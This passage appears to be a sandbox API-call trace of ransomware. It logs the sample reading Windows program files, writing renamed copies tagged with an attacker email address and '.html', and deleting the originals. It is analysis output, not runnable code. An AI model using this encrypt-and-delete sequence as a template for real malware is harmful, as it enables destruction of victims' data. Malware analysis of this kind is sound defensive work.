[0050.246] lstrlenW (lpString=".rar") returned 4 [0050.246] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.246] lstrlenW (lpString=".bz2") returned 4 [0050.246] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.246] lstrlenW (lpString=".7z") returned 3 [0050.246] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.246] lstrlenW (lpString=".dbf") returned 4 [0050.246] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.246] lstrlenW (lpString=".1cd") returned 4 [0050.246] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.246] lstrlenW (lpString=".jpg") returned 4 [0050.246] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.246] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=39515) returned 1 [0050.246] CloseHandle (hObject=0x218) returned 1 [0050.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0050.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.247] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.247] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0050.247] GetLastError () returned 0x0 [0050.247] ReadFile (in: hFile=0x218, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0050.252] WriteFile (in: hFile=0x21c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0050.253] ReadFile (in: hFile=0x218, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.253] WriteFile (in: hFile=0x21c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.253] SetEndOfFile (hFile=0x21c) returned 1 [0050.253] CloseHandle (hObject=0x21c) returned 1 [0050.253] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.253] SetEndOfFile (hFile=0x218) returned 1 [0050.254] CloseHandle (hObject=0x218) returned 1 [0050.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0050.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0050.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0050.255] lstrlenW (lpString=".doc") returned 4 [0050.255] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.255] lstrlenW (lpString=".docx") returned 5 [0050.255] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0050.255] lstrlenW (lpString=".pdf") returned 4 [0050.255] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.255] lstrlenW (lpString=".xls") returned 4 [0050.255] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.255] lstrlenW (lpString=".xlsx") returned 5 [0050.255] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0050.255] lstrlenW (lpString=".ppt") returned 4 [0050.255] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0050.255] lstrlenW (lpString=".zip") returned 4 [0050.255] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.255] lstrlenW (lpString=".rar") returned 4 [0050.255] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.255] lstrlenW (lpString=".bz2") returned 4 [0050.255] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.255] lstrlenW (lpString=".7z") returned 3 [0050.255] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0050.255] lstrlenW (lpString=".dbf") returned 4 [0050.255] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0050.255] lstrlenW (lpString=".1cd") returned 4 [0050.256] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0050.256] lstrlenW (lpString=".jpg") returned 4 [0050.256] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0051.024] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=29790) returned 1 [0051.024] CloseHandle (hObject=0x1b8) returned 1 [0051.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0051.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0051.024] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.024] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0051.025] GetLastError () returned 0x0 [0051.025] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x745e, lpOverlapped=0x0) returned 1 [0051.027] WriteFile (in: hFile=0x228, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x7460, lpOverlapped=0x0) returned 1 [0051.028] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.028] WriteFile (in: hFile=0x228, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0051.028] SetEndOfFile (hFile=0x228) returned 1 [0051.028] CloseHandle (hObject=0x228) returned 1 [0051.028] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.028] SetEndOfFile (hFile=0x1b8) returned 1 [0051.029] CloseHandle (hObject=0x1b8) returned 1 [0051.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0051.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0051.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0051.030] lstrlenW (lpString=".doc") returned 4 [0051.030] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0051.030] lstrlenW (lpString=".docx") returned 5 [0051.030] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0051.030] lstrlenW (lpString=".pdf") returned 4 [0051.030] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0051.030] lstrlenW (lpString=".xls") returned 4 [0051.030] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0051.030] lstrlenW (lpString=".xlsx") returned 5 [0051.030] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0051.030] lstrlenW (lpString=".ppt") returned 4 [0051.030] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0051.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0051.030] lstrlenW (lpString=".zip") returned 4 [0051.030] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0051.030] lstrlenW (lpString=".rar") returned 4 [0051.030] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0051.030] lstrlenW (lpString=".bz2") returned 4 [0051.030] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0051.030] lstrlenW (lpString=".7z") returned 3 [0051.030] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0051.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0051.030] lstrlenW (lpString=".dbf") returned 4 [0051.030] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0051.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0051.030] lstrlenW (lpString=".1cd") returned 4 [0051.030] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0051.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0051.030] lstrlenW (lpString=".jpg") returned 4 [0051.030] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0052.002] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.008] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.013] GetLastError () returned 0x0 [0052.013] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0052.034] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0052.035] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.035] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.035] SetEndOfFile (hFile=0x190) returned 1 [0052.035] CloseHandle (hObject=0x190) returned 1 [0052.035] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.035] SetEndOfFile (hFile=0x160) returned 1 [0052.036] CloseHandle (hObject=0x160) returned 1 [0052.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0052.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0052.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0052.036] lstrlenW (lpString=".doc") returned 4 [0052.036] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.036] lstrlenW (lpString=".docx") returned 5 [0052.036] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.036] lstrlenW (lpString=".pdf") returned 4 [0052.037] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.037] lstrlenW (lpString=".xls") returned 4 [0052.037] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.037] lstrlenW (lpString=".xlsx") returned 5 [0052.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.037] lstrlenW (lpString=".ppt") returned 4 [0052.037] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0052.037] lstrlenW (lpString=".zip") returned 4 [0052.037] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.037] lstrlenW (lpString=".rar") returned 4 [0052.037] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.037] lstrlenW (lpString=".bz2") returned 4 [0052.037] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.037] lstrlenW (lpString=".7z") returned 3 [0052.037] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0052.037] lstrlenW (lpString=".dbf") returned 4 [0052.037] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0052.037] lstrlenW (lpString=".1cd") returned 4 [0052.037] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0052.037] lstrlenW (lpString=".jpg") returned 4 [0052.037] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.038] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6984) returned 1 [0052.038] CloseHandle (hObject=0x160) returned 1 [0052.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0052.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0052.039] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.039] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.039] GetLastError () returned 0x0 [0052.039] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0052.040] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0052.047] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.047] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.047] SetEndOfFile (hFile=0x190) returned 1 [0052.047] CloseHandle (hObject=0x190) returned 1 [0052.048] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.048] SetEndOfFile (hFile=0x160) returned 1 [0052.048] CloseHandle (hObject=0x160) returned 1 [0052.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0052.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0052.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0052.049] lstrlenW (lpString=".doc") returned 4 [0052.049] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.049] lstrlenW (lpString=".docx") returned 5 [0052.049] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.049] lstrlenW (lpString=".pdf") returned 4 [0052.049] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.049] lstrlenW (lpString=".xls") returned 4 [0052.049] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.049] lstrlenW (lpString=".xlsx") returned 5 [0052.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.049] lstrlenW (lpString=".ppt") returned 4 [0052.049] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0052.049] lstrlenW (lpString=".zip") returned 4 [0052.049] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.049] lstrlenW (lpString=".rar") returned 4 [0052.049] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.049] lstrlenW (lpString=".bz2") returned 4 [0052.049] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.049] lstrlenW (lpString=".7z") returned 3 [0052.049] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0052.049] lstrlenW (lpString=".dbf") returned 4 [0052.049] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0052.050] lstrlenW (lpString=".1cd") returned 4 [0052.050] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0052.050] lstrlenW (lpString=".jpg") returned 4 [0052.050] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.050] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=13254) returned 1 [0052.050] CloseHandle (hObject=0x160) returned 1 [0052.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0052.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0052.050] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.050] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.051] GetLastError () returned 0x0 [0052.051] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x33c6, lpOverlapped=0x0) returned 1 [0052.052] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0052.053] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.053] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) 